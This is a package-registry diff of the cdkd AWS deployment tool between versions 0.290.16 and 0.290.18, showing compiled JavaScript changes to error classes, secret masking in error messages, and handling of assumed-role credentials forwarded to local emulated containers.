@go-to-k/cdkd 0.290.16 → 0.290.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-CvkcE8rH.js → asg-provider-Di5-tD3l.js} +3 -3
- package/dist/{asg-provider-CvkcE8rH.js.map → asg-provider-Di5-tD3l.js.map} +1 -1
- package/dist/aws-client-defaults-BoIxyCir.js +574 -0
- package/dist/aws-client-defaults-BoIxyCir.js.map +1 -0
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-B91NMqm1.js → deploy-engine-DuiVEV9B.js} +1750 -133
- package/dist/deploy-engine-DuiVEV9B.js.map +1 -0
- package/dist/index.d.ts +4 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/{program-U03H43s7.js → program-BcdccZA8.js} +388 -568
- package/dist/{program-U03H43s7.js.map → program-BcdccZA8.js.map} +1 -1
- package/dist/{version-1FTpsWNc.js → version-Da2VV388.js} +2 -2
- package/dist/{version-1FTpsWNc.js.map → version-Da2VV388.js.map} +1 -1
- package/package.json +1 -1
- package/dist/aws-client-defaults-D-iYiIJ6.js +0 -218
- package/dist/aws-client-defaults-D-iYiIJ6.js.map +0 -1
- package/dist/deploy-engine-B91NMqm1.js.map +0 -1
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
|
|
2
|
-
import {
|
|
3
|
-
import { t as getCdkdVersion } from "./version-
|
|
1
|
+
import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
|
|
2
|
+
import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
|
|
3
|
+
import { t as getCdkdVersion } from "./version-Da2VV388.js";
|
|
4
4
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
5
5
|
import { createHash, randomUUID } from "node:crypto";
|
|
6
6
|
import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -306,7 +306,7 @@ const NON_RETRYABLE_MARKER = Symbol.for("cdkd.nonRetryable");
|
|
|
306
306
|
* the one the code already cites -- a nested-stack failure grows one
|
|
307
307
|
* `ProvisioningError` per level.
|
|
308
308
|
*/
|
|
309
|
-
const MAX_CAUSE_CHAIN_DEPTH = 5;
|
|
309
|
+
const MAX_CAUSE_CHAIN_DEPTH$1 = 5;
|
|
310
310
|
/**
|
|
311
311
|
* Stamped on an error whose own message deliberately WITHHOLDS text its
|
|
312
312
|
* `cause` carries (issue [#2302](https://github.com/go-to-k/cdkd/issues/2302)).
|
|
@@ -363,7 +363,7 @@ function markRedactedCause(error) {
|
|
|
363
363
|
*/
|
|
364
364
|
function hasRedactedCause(error) {
|
|
365
365
|
let current = error;
|
|
366
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
366
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
367
367
|
if (typeof current === "object" || typeof current === "function") {
|
|
368
368
|
if (current[REDACTED_CAUSE_MARKER] === true) return true;
|
|
369
369
|
}
|
|
@@ -438,7 +438,7 @@ function markNonRetryable(error) {
|
|
|
438
438
|
*/
|
|
439
439
|
function isMarkedNonRetryable(error) {
|
|
440
440
|
let current = error;
|
|
441
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
441
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
442
442
|
if (typeof current === "object" || typeof current === "function") {
|
|
443
443
|
if (current[NON_RETRYABLE_MARKER] === true) return true;
|
|
444
444
|
}
|
|
@@ -462,7 +462,7 @@ function isMarkedNonRetryable(error) {
|
|
|
462
462
|
*/
|
|
463
463
|
function isThrottlingError(error) {
|
|
464
464
|
let current = error;
|
|
465
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
465
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
466
466
|
const name = current.name;
|
|
467
467
|
if (typeof name === "string" && THROTTLING_ERROR_NAMES.has(name)) return true;
|
|
468
468
|
const status = current.$metadata?.httpStatusCode;
|
|
@@ -564,7 +564,7 @@ const TRANSIENT_SERVER_ERROR_STATUS_CODES = /* @__PURE__ */ new Set([
|
|
|
564
564
|
*/
|
|
565
565
|
function isTransientServerError(error) {
|
|
566
566
|
let current = error;
|
|
567
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
567
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
568
568
|
const status = current.$metadata?.httpStatusCode;
|
|
569
569
|
if (status !== void 0 && TRANSIENT_SERVER_ERROR_STATUS_CODES.has(status)) return true;
|
|
570
570
|
current = current.cause;
|
|
@@ -615,7 +615,7 @@ function describeRetryClassificationSignals(error) {
|
|
|
615
615
|
let sawMetadata = false;
|
|
616
616
|
let metadataName;
|
|
617
617
|
let metadataRequestId;
|
|
618
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
618
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
619
619
|
const name = current.name;
|
|
620
620
|
if (depth > 0 && typeof name === "string" && name !== "") deepestName = name;
|
|
621
621
|
const metadata = current.$metadata;
|
|
@@ -727,7 +727,7 @@ function retryClassificationText(error) {
|
|
|
727
727
|
const parts = [];
|
|
728
728
|
const seen = /* @__PURE__ */ new Set();
|
|
729
729
|
let current = error;
|
|
730
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null && !seen.has(current); depth++) {
|
|
730
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null && !seen.has(current); depth++) {
|
|
731
731
|
seen.add(current);
|
|
732
732
|
if (current instanceof Error) {
|
|
733
733
|
if (current.message) parts.push(current.message);
|
|
@@ -884,7 +884,7 @@ function stringifyForMatch(value) {
|
|
|
884
884
|
function isNameCollisionErrorFrom(error, logicalId) {
|
|
885
885
|
if (typeof error === "string") return isNameCollisionError(error);
|
|
886
886
|
let current = error;
|
|
887
|
-
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
887
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
|
|
888
888
|
const link = current;
|
|
889
889
|
if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
|
|
890
890
|
if (typeof link.name === "string" && NAME_COLLISION_ERROR_NAMES.has(link.name)) return true;
|
|
@@ -1030,7 +1030,7 @@ const CC_UPDATE_UNSUPPORTED_MESSAGE_FALLBACK = "does not support UPDATE";
|
|
|
1030
1030
|
*/
|
|
1031
1031
|
function isUpdateUnsupportedError(error, logicalId) {
|
|
1032
1032
|
let current = error;
|
|
1033
|
-
for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH; depth++) {
|
|
1033
|
+
for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH$1; depth++) {
|
|
1034
1034
|
const link = current;
|
|
1035
1035
|
if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
|
|
1036
1036
|
if (link.name === "UnsupportedActionException") return true;
|
|
@@ -1339,6 +1339,45 @@ var CrossAccountSecretRefusalError = class CrossAccountSecretRefusalError extend
|
|
|
1339
1339
|
}
|
|
1340
1340
|
};
|
|
1341
1341
|
/**
|
|
1342
|
+
* An `Fn::GetStackOutput` whose PRODUCER's state record has no readable
|
|
1343
|
+
* `outputs` map (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
1344
|
+
*
|
|
1345
|
+
* A SUBCLASS for the same reason {@link CrossAccountSecretRefusalError} is
|
|
1346
|
+
* one, and with the same two independent properties.
|
|
1347
|
+
* `instanceof IntrinsicResolutionRefusalError` stays true, so `resolveSub`'s
|
|
1348
|
+
* catch re-raises it rather than laundering the reference into a literal
|
|
1349
|
+
* `${...}` shipped to AWS; and the one consumer that must treat it
|
|
1350
|
+
* DIFFERENTLY from its user-fixable siblings matches on THIS class.
|
|
1351
|
+
*
|
|
1352
|
+
* That consumer is `cdkd scrub`'s cross-stack pre-pass, and the distinction it
|
|
1353
|
+
* needs is neither of the two the base class already carries. A sibling
|
|
1354
|
+
* refusal makes scrub REFUSE the stack, on the sound argument that the user
|
|
1355
|
+
* can fix the cause and re-run. Here the cause is ANOTHER STACK's record,
|
|
1356
|
+
* which the user may not own — so refusing would strand THIS stack's own
|
|
1357
|
+
* plaintext in `state.json` over a file they cannot repair. Issue
|
|
1358
|
+
* [#3192](https://github.com/go-to-k/cdkd/issues/3192) settled that trade one
|
|
1359
|
+
* layer down, for the classifier this refusal now runs ahead of
|
|
1360
|
+
* (`docs/design/3192-outputs-consumers.md` §6), and the same answer has to
|
|
1361
|
+
* hold here or closing the resolver would silently reverse it: scrub records
|
|
1362
|
+
* an unverifiable FINDING, scrubs the rest of the stack, does not report it
|
|
1363
|
+
* clean, and exits 2.
|
|
1364
|
+
*
|
|
1365
|
+
* It is NOT `CrossAccountSecretRefusalError`, whose subclass identity means
|
|
1366
|
+
* PERMANENT — "no re-run can change this". A damaged record IS repairable;
|
|
1367
|
+
* what it is not is repairable by everyone who meets it.
|
|
1368
|
+
*
|
|
1369
|
+
* `code` is distinct for the reason the sibling's note gives: a consumer
|
|
1370
|
+
* keying on `INTRINSIC_RESOLUTION_REFUSAL` would capture every sibling, and
|
|
1371
|
+
* one keying on message text breaks the moment the wording improves.
|
|
1372
|
+
*/
|
|
1373
|
+
var MalformedProducerRecordRefusalError = class MalformedProducerRecordRefusalError extends IntrinsicResolutionRefusalError {
|
|
1374
|
+
constructor(message, cause) {
|
|
1375
|
+
super(message, cause, "INTRINSIC_RESOLUTION_REFUSAL_MALFORMED_PRODUCER_RECORD");
|
|
1376
|
+
this.name = "MalformedProducerRecordRefusalError";
|
|
1377
|
+
Object.setPrototypeOf(this, MalformedProducerRecordRefusalError.prototype);
|
|
1378
|
+
}
|
|
1379
|
+
};
|
|
1380
|
+
/**
|
|
1342
1381
|
* A `{{resolve:...}}` reference whose REGION cannot be established (issue
|
|
1343
1382
|
* [#2134](https://github.com/go-to-k/cdkd/issues/2134)): it names no region,
|
|
1344
1383
|
* and the stack it sits in is on record as reading across a region boundary.
|
|
@@ -1879,8 +1918,11 @@ var AwsClients = class AwsClients {
|
|
|
1879
1918
|
* falls back to the default chain. The same is true of any library caller
|
|
1880
1919
|
* that constructs `AwsClients` directly and therefore never runs the CLI's
|
|
1881
1920
|
* `preAction` hook. `--role-arn` needs nothing carried at all —
|
|
1882
|
-
* `applyRoleArnIfSet`
|
|
1883
|
-
* `
|
|
1921
|
+
* `applyRoleArnIfSet` publishes the assumed credentials through
|
|
1922
|
+
* `setAssumedRoleCredentials`, so {@link clientOptions}'s
|
|
1923
|
+
* `awsClientDefaults(...)` spread hands them to every client this instance
|
|
1924
|
+
* builds, and a `profile` beside them selects non-credential settings only
|
|
1925
|
+
* (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
|
|
1884
1926
|
*
|
|
1885
1927
|
* The `credentials` object is CLONED rather than aliased: the returned bag is
|
|
1886
1928
|
* handed to every derived sibling, and sharing one mutable object would let a
|
|
@@ -7777,9 +7819,27 @@ var DockerAssetPublisher = class {
|
|
|
7777
7819
|
|
|
7778
7820
|
//#endregion
|
|
7779
7821
|
//#region src/utils/aws-failure-text.ts
|
|
7780
|
-
/**
|
|
7822
|
+
/**
|
|
7823
|
+
* Appended to a redacted summary so the withheld half is still reachable.
|
|
7824
|
+
*
|
|
7825
|
+
* EXPORTED because a caller that reduces on its OWN authorship predicate has to
|
|
7826
|
+
* compose the same summary by hand, and a second spelling of this sentence is a
|
|
7827
|
+
* second thing to keep in sync — `cloud-control-provider.ts`'s `abandonWait`
|
|
7828
|
+
* hand-copied it, pinned only by a `toContain('Re-run with --verbose')` that
|
|
7829
|
+
* would have gone on passing while the two drifted.
|
|
7830
|
+
*/
|
|
7781
7831
|
const VERBOSE_POINTER = "Re-run with --verbose for AWS's own message.";
|
|
7782
7832
|
/**
|
|
7833
|
+
* The summary {@link describeAwsFailure} builds for an `Error` it is reducing.
|
|
7834
|
+
*
|
|
7835
|
+
* Exported for the same reason as {@link VERBOSE_POINTER}, one level up: a
|
|
7836
|
+
* caller whose authorship predicate is WIDER than this module's reduces shapes
|
|
7837
|
+
* the helper hands back raw, and must then build this exact string itself.
|
|
7838
|
+
*/
|
|
7839
|
+
function redactedAwsFailureSummary(error) {
|
|
7840
|
+
return `${error.name || "Error"}. ${VERBOSE_POINTER}`;
|
|
7841
|
+
}
|
|
7842
|
+
/**
|
|
7783
7843
|
* Whether AWS wrote this failure's message.
|
|
7784
7844
|
*
|
|
7785
7845
|
* Keyed on the marker fields `@aws-sdk/*` errors carry through
|
|
@@ -7807,14 +7867,20 @@ function describeAwsFailure(error) {
|
|
|
7807
7867
|
redacted: false
|
|
7808
7868
|
};
|
|
7809
7869
|
return {
|
|
7810
|
-
summary:
|
|
7870
|
+
summary: redactedAwsFailureSummary(error),
|
|
7811
7871
|
detail: error.message,
|
|
7812
7872
|
redacted: true
|
|
7813
7873
|
};
|
|
7814
7874
|
}
|
|
7875
|
+
let detail;
|
|
7876
|
+
try {
|
|
7877
|
+
detail = String(error);
|
|
7878
|
+
} catch {
|
|
7879
|
+
detail = "a value that could not be converted to text";
|
|
7880
|
+
}
|
|
7815
7881
|
return {
|
|
7816
7882
|
summary: `a non-Error value of type ${typeof error}. ${VERBOSE_POINTER}`,
|
|
7817
|
-
detail
|
|
7883
|
+
detail,
|
|
7818
7884
|
redacted: true
|
|
7819
7885
|
};
|
|
7820
7886
|
}
|
|
@@ -15989,11 +16055,31 @@ function errorCauseChain(root) {
|
|
|
15989
16055
|
* Returns the ORIGINAL object by identity when NOTHING ANYWHERE IN THE CHAIN
|
|
15990
16056
|
* changed, so a non-secret failure keeps referential equality and the common
|
|
15991
16057
|
* path allocates nothing.
|
|
15992
|
-
|
|
15993
|
-
|
|
15994
|
-
|
|
16058
|
+
*
|
|
16059
|
+
* `extraMask` is an OPTIONAL text transform run on every link's `message` and
|
|
16060
|
+
* `stack` BEFORE the bag pass, for the class the bag structurally cannot reach
|
|
16061
|
+
* (issue [#3234](https://github.com/go-to-k/cdkd/issues/3234)): a name masked
|
|
16062
|
+
* BY POSITION rather than by value. A bag masks a sub-`MIN_NEEDLE_LENGTH`
|
|
16063
|
+
* plaintext only as the WHOLE text, so a 1-3 character secret EMBEDDED in a
|
|
16064
|
+
* longer name that another module quoted back is invisible here — while the
|
|
16065
|
+
* caller that resolved the name holds both it and its masked log text and can
|
|
16066
|
+
* substitute one for the other exactly. BEFORE rather than after, because the
|
|
16067
|
+
* substitution matches the RAW name: a bag pass that had already rewritten part
|
|
16068
|
+
* of it would leave nothing for the transform to find.
|
|
16069
|
+
*
|
|
16070
|
+
* It is a pure `(text) => text` so this module stays a no-import LEAF. With
|
|
16071
|
+
* `extraMask` supplied the empty-bag short-circuit no longer applies — an empty
|
|
16072
|
+
* bag plus a positional transform still has work to do.
|
|
16073
|
+
*
|
|
16074
|
+
* THE BOUND, unchanged by `extraMask`: a thrown value that is not an `Error`
|
|
16075
|
+
* is handed back BY IDENTITY and masked by neither pass. A caller whose
|
|
16076
|
+
* callees can reject with a non-`Error` owes that case its own handling.
|
|
16077
|
+
*/
|
|
16078
|
+
function maskSecretsInError(error, secrets, extraMask) {
|
|
16079
|
+
if (!(error instanceof Error) || secrets.size === 0 && !extraMask) return error;
|
|
16080
|
+
const maskText = (text) => maskSecretsInText(extraMask ? extraMask(text) : text, secrets);
|
|
15995
16081
|
const chain = errorCauseChain(error);
|
|
15996
|
-
const maskedMessages = chain.map((link) =>
|
|
16082
|
+
const maskedMessages = chain.map((link) => maskText(link.message));
|
|
15997
16083
|
if (maskedMessages.every((masked, i) => masked === chain[i].message)) return error;
|
|
15998
16084
|
const clones = /* @__PURE__ */ new Map();
|
|
15999
16085
|
for (const [i, original] of chain.entries()) {
|
|
@@ -16012,7 +16098,7 @@ function maskSecretsInError(error, secrets) {
|
|
|
16012
16098
|
});
|
|
16013
16099
|
const originalStack = original.stack;
|
|
16014
16100
|
if (typeof originalStack === "string") Object.defineProperty(clone, "stack", {
|
|
16015
|
-
value:
|
|
16101
|
+
value: maskText(originalStack),
|
|
16016
16102
|
writable: true,
|
|
16017
16103
|
enumerable: false,
|
|
16018
16104
|
configurable: true
|
|
@@ -20964,6 +21050,133 @@ var DiffCalculator = class DiffCalculator {
|
|
|
20964
21050
|
}
|
|
20965
21051
|
};
|
|
20966
21052
|
|
|
21053
|
+
//#endregion
|
|
21054
|
+
//#region src/utils/caller-credentials.ts
|
|
21055
|
+
/**
|
|
21056
|
+
* The CALLER's own AWS identity, for the one channel that reaches a workload
|
|
21057
|
+
* cdkd merely emulates (issue
|
|
21058
|
+
* [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
|
|
21059
|
+
*
|
|
21060
|
+
* WHY THIS EXISTS
|
|
21061
|
+
*
|
|
21062
|
+
* `applyRoleArnIfSet` (`src/utils/role-arn.ts`) assumes `--role-arn` /
|
|
21063
|
+
* `CDKD_ROLE_ARN` and then OVERWRITES `process.env.AWS_ACCESS_KEY_ID` /
|
|
21064
|
+
* `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` with the role's, so that clients
|
|
21065
|
+
* built outside `src/**` (cdk-local's own, the CDK app subprocess) run as the
|
|
21066
|
+
* role too. Every `cdkd local *` command then COPIES that triple out of
|
|
21067
|
+
* `process.env` into the emulated Lambda / AgentCore container's environment —
|
|
21068
|
+
* so `cdkd local invoke --role-arn arn:aws:iam::222:role/cdkd-deploy MyFn` ran
|
|
21069
|
+
* the user's local handler AS THE DEPLOY ROLE, normally the more privileged of
|
|
21070
|
+
* the two identities and never the one the flag asked for.
|
|
21071
|
+
*
|
|
21072
|
+
* The SDK-client half of that class was closed by threading
|
|
21073
|
+
* `awsClientDefaults({ ignoreAssumedRole: true })` through every client on the
|
|
21074
|
+
* surface. That opt-out cannot reach this channel: the value here is not a
|
|
21075
|
+
* client config, it is three environment variables whose ORIGINAL contents the
|
|
21076
|
+
* assume already destroyed. So `applyRoleArnIfSet` snapshots them first
|
|
21077
|
+
* (`setPreAssumeEnvCredentials`) and this module is what turns the snapshot back
|
|
21078
|
+
* into an answer.
|
|
21079
|
+
*
|
|
21080
|
+
* THE ANSWER IS "WHAT WOULD THE CONTAINER HAVE RECEIVED WITHOUT `--role-arn`"
|
|
21081
|
+
*
|
|
21082
|
+
* Not "who is the caller" in the SDK's sense — that question has a different
|
|
21083
|
+
* answer when a profile is selected, and `resolveProfileCredentials` +
|
|
21084
|
+
* `applyProfileCredentialsOverlay` already answer it for the `--profile` case
|
|
21085
|
+
* and still win, because they are applied AFTER this restore. What this module
|
|
21086
|
+
* restores is exactly the status quo ante: the bytes `forwardAwsEnv` would have
|
|
21087
|
+
* copied had no role been assumed.
|
|
21088
|
+
*
|
|
21089
|
+
* WHEN THERE IS NOTHING TO RESTORE, NOTHING IS FORWARDED
|
|
21090
|
+
*
|
|
21091
|
+
* On an SSO / IMDS / container-role chain the triple was ABSENT before the
|
|
21092
|
+
* assume. Fabricating a replacement is not available and inheriting the role is
|
|
21093
|
+
* the defect, so the three keys are STRIPPED from the forwarded environment and
|
|
21094
|
+
* the container falls back to its own credential resolution — which, with no
|
|
21095
|
+
* mounted credentials file, usually means the handler's first AWS call fails
|
|
21096
|
+
* with `Could not load credentials from any providers`. That is the documented
|
|
21097
|
+
* outcome (`docs/cli-reference.md`), and it is the correct one: a loud missing
|
|
21098
|
+
* credential beats a silent privileged one.
|
|
21099
|
+
*/
|
|
21100
|
+
/**
|
|
21101
|
+
* The three environment variables that carry a static AWS identity into a child
|
|
21102
|
+
* process or container. Spelled once here so a forwarding site and the fence
|
|
21103
|
+
* that watches it cannot disagree about the population.
|
|
21104
|
+
*/
|
|
21105
|
+
const AWS_CREDENTIAL_ENV_KEYS = [
|
|
21106
|
+
"AWS_ACCESS_KEY_ID",
|
|
21107
|
+
"AWS_SECRET_ACCESS_KEY",
|
|
21108
|
+
"AWS_SESSION_TOKEN"
|
|
21109
|
+
];
|
|
21110
|
+
/**
|
|
21111
|
+
* Read a static credential triple out of an environment bag, or `undefined`
|
|
21112
|
+
* when it does not carry a complete one.
|
|
21113
|
+
*
|
|
21114
|
+
* BOTH halves of the key pair are required: an `AWS_ACCESS_KEY_ID` with no
|
|
21115
|
+
* secret is not an identity, and treating it as one would make the caller
|
|
21116
|
+
* "have credentials" while handing the container an unusable pair.
|
|
21117
|
+
*/
|
|
21118
|
+
function readEnvCredentials(source = process.env) {
|
|
21119
|
+
const accessKeyId = source["AWS_ACCESS_KEY_ID"];
|
|
21120
|
+
const secretAccessKey = source["AWS_SECRET_ACCESS_KEY"];
|
|
21121
|
+
if (!accessKeyId || !secretAccessKey) return void 0;
|
|
21122
|
+
const sessionToken = source["AWS_SESSION_TOKEN"];
|
|
21123
|
+
return {
|
|
21124
|
+
accessKeyId,
|
|
21125
|
+
secretAccessKey,
|
|
21126
|
+
...sessionToken ? { sessionToken } : {}
|
|
21127
|
+
};
|
|
21128
|
+
}
|
|
21129
|
+
/**
|
|
21130
|
+
* The static credentials the caller's OWN environment carried — the process
|
|
21131
|
+
* environment when no role was assumed, the pre-assume snapshot when one was.
|
|
21132
|
+
*
|
|
21133
|
+
* For a site that needs the VALUE rather than an env bag to correct (the
|
|
21134
|
+
* `--sigv4` signing path in `local-invoke-agentcore.ts`). `undefined` means the
|
|
21135
|
+
* caller has no static credentials to offer; the site decides what that means
|
|
21136
|
+
* for it (that one refuses with an actionable error).
|
|
21137
|
+
*
|
|
21138
|
+
* **Do not mutate the returned bag.** On the assumed-role branch it is
|
|
21139
|
+
* `aws-client-defaults.ts`'s OWN copy of the pre-assume snapshot — the object
|
|
21140
|
+
* shape 2 of the `ignoreAssumedRole` opt-out resolves every opted-out client's
|
|
21141
|
+
* identity from — so a caller that edits it in place changes who those clients
|
|
21142
|
+
* run as. The note sits here as well as on `getPreAssumeEnvCredentials` because
|
|
21143
|
+
* this module's header directs callers to THIS function; reaching the snapshot
|
|
21144
|
+
* through the getter directly is what it tells them not to do.
|
|
21145
|
+
*/
|
|
21146
|
+
function callerEnvCredentials() {
|
|
21147
|
+
if (getAssumedRoleCredentials() === void 0) return readEnvCredentials();
|
|
21148
|
+
return getPreAssumeEnvCredentials();
|
|
21149
|
+
}
|
|
21150
|
+
/**
|
|
21151
|
+
* Correct an environment bag that was populated by copying `process.env`, so it
|
|
21152
|
+
* carries the CALLER's identity rather than a `--role-arn` assumed role's.
|
|
21153
|
+
*
|
|
21154
|
+
* A NO-OP when no role was assumed — the copied triple is already the caller's,
|
|
21155
|
+
* and this must not disturb the overwhelmingly common path.
|
|
21156
|
+
*
|
|
21157
|
+
* Otherwise the role's triple is replaced by the pre-assume snapshot, or — when
|
|
21158
|
+
* there was none — REMOVED outright (see this module's header). The
|
|
21159
|
+
* session-token handling mirrors `applyProfileCredentialsOverlay`: a restored
|
|
21160
|
+
* long-lived key pair strips any inherited token, because a long-lived
|
|
21161
|
+
* `AKIA...` beside a foreign session token makes the SDK inside the container
|
|
21162
|
+
* fail rather than fall back.
|
|
21163
|
+
*
|
|
21164
|
+
* Call it AFTER copying `process.env` and BEFORE any `--profile` overlay: the
|
|
21165
|
+
* profile identity is more specific and is also the caller's, so it wins.
|
|
21166
|
+
*/
|
|
21167
|
+
function applyCallerIdentityCredentials(env) {
|
|
21168
|
+
if (getAssumedRoleCredentials() === void 0) return;
|
|
21169
|
+
const caller = getPreAssumeEnvCredentials();
|
|
21170
|
+
if (!caller) {
|
|
21171
|
+
for (const key of AWS_CREDENTIAL_ENV_KEYS) delete env[key];
|
|
21172
|
+
return;
|
|
21173
|
+
}
|
|
21174
|
+
env["AWS_ACCESS_KEY_ID"] = caller.accessKeyId;
|
|
21175
|
+
env["AWS_SECRET_ACCESS_KEY"] = caller.secretAccessKey;
|
|
21176
|
+
if (caller.sessionToken) env["AWS_SESSION_TOKEN"] = caller.sessionToken;
|
|
21177
|
+
else delete env["AWS_SESSION_TOKEN"];
|
|
21178
|
+
}
|
|
21179
|
+
|
|
20967
21180
|
//#endregion
|
|
20968
21181
|
//#region src/utils/role-arn.ts
|
|
20969
21182
|
/**
|
|
@@ -21030,8 +21243,8 @@ function parseIamRoleArn(roleArn) {
|
|
|
21030
21243
|
* reading the producer account's cdkd state bucket.
|
|
21031
21244
|
*
|
|
21032
21245
|
* **Why a dedicated helper (instead of reusing `applyRoleArnIfSet`).** The
|
|
21033
|
-
* `--role-arn` flag
|
|
21034
|
-
*
|
|
21246
|
+
* `--role-arn` flag publishes its assumed credentials process-wide, so
|
|
21247
|
+
* EVERY subsequent SDK client picks them up. That is the right
|
|
21035
21248
|
* behavior for the CLI-wide flag, but the wrong behavior for cross-account
|
|
21036
21249
|
* `Fn::GetStackOutput`: the producer's role should authorize ONLY the S3
|
|
21037
21250
|
* state read, not the consumer's provisioning calls (which still run under
|
|
@@ -21109,16 +21322,57 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
|
|
|
21109
21322
|
* into `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
|
|
21110
21323
|
* for the rest of the process.
|
|
21111
21324
|
*
|
|
21112
|
-
* **Why
|
|
21113
|
-
*
|
|
21114
|
-
*
|
|
21115
|
-
*
|
|
21116
|
-
*
|
|
21117
|
-
*
|
|
21118
|
-
*
|
|
21119
|
-
*
|
|
21120
|
-
*
|
|
21121
|
-
*
|
|
21325
|
+
* **Why not threaded credentials.** cdkd constructs ~13 independent
|
|
21326
|
+
* `AwsClients` instances across deploy / destroy / state / import / etc.
|
|
21327
|
+
* paths (each with its own region, sometimes — e.g. the state-bucket
|
|
21328
|
+
* client lives in a different region from the provisioning clients).
|
|
21329
|
+
* Threading a `credentials` object through every site is high churn for
|
|
21330
|
+
* an opt-in flag, so the assumed credentials are published ONCE, at the
|
|
21331
|
+
* command's entry, through two channels that between them reach every
|
|
21332
|
+
* consumer:
|
|
21333
|
+
*
|
|
21334
|
+
* 1. `setAssumedRoleCredentials` (`src/utils/aws-client-defaults.ts`) —
|
|
21335
|
+
* every SDK client under `src/**` is required to spread
|
|
21336
|
+
* `awsClientDefaults(...)` FIRST, so all of them receive the role as an
|
|
21337
|
+
* EXPLICIT `credentials` value, which outranks a `profile` on the same
|
|
21338
|
+
* config. That helper's header carries the full reasoning.
|
|
21339
|
+
* 2. The `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
|
|
21340
|
+
* env vars — for the consumers channel 1 cannot reach: cdk-local's own
|
|
21341
|
+
* SDK clients and the CDK app subprocess, which inherit this process's
|
|
21342
|
+
* environment.
|
|
21343
|
+
*
|
|
21344
|
+
* **Why channel 1 exists, and why `AWS_PROFILE` is nonetheless LEFT ALONE.**
|
|
21345
|
+
* Channel 2 used to be the whole mechanism, and it is silently inert
|
|
21346
|
+
* whenever a profile is selected: `@aws-sdk/credential-provider-node`
|
|
21347
|
+
* skips the env-var provider once `AWS_PROFILE` is set, so
|
|
21348
|
+
* `--profile ci --role-arn <r>` assumed the role, reported it assumed,
|
|
21349
|
+
* and then ran every call as `ci` — potentially in a different account
|
|
21350
|
+
* (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)). Deleting
|
|
21351
|
+
* `AWS_PROFILE` would not have fixed that on its own (cdkd also passes
|
|
21352
|
+
* `profile` as an explicit client-config key, which outranks the
|
|
21353
|
+
* environment), and it costs something real: `AWS_PROFILE` is the only
|
|
21354
|
+
* region source `Synthesizer.resolveSdkDefaultRegion` has when the user
|
|
21355
|
+
* exported a profile rather than passing `--profile`, so clearing it would
|
|
21356
|
+
* silently drop the CDK app's `CDK_DEFAULT_REGION` and synthesize an
|
|
21357
|
+
* env-agnostic stack for a different region than the profile named.
|
|
21358
|
+
*
|
|
21359
|
+
* **The one consumer channel 2 must NOT reach.** `cdkd local *` copies the
|
|
21360
|
+
* same three environment variables into the emulated Lambda / AgentCore
|
|
21361
|
+
* container, so the role reached the USER'S OWN CODE — which is what
|
|
21362
|
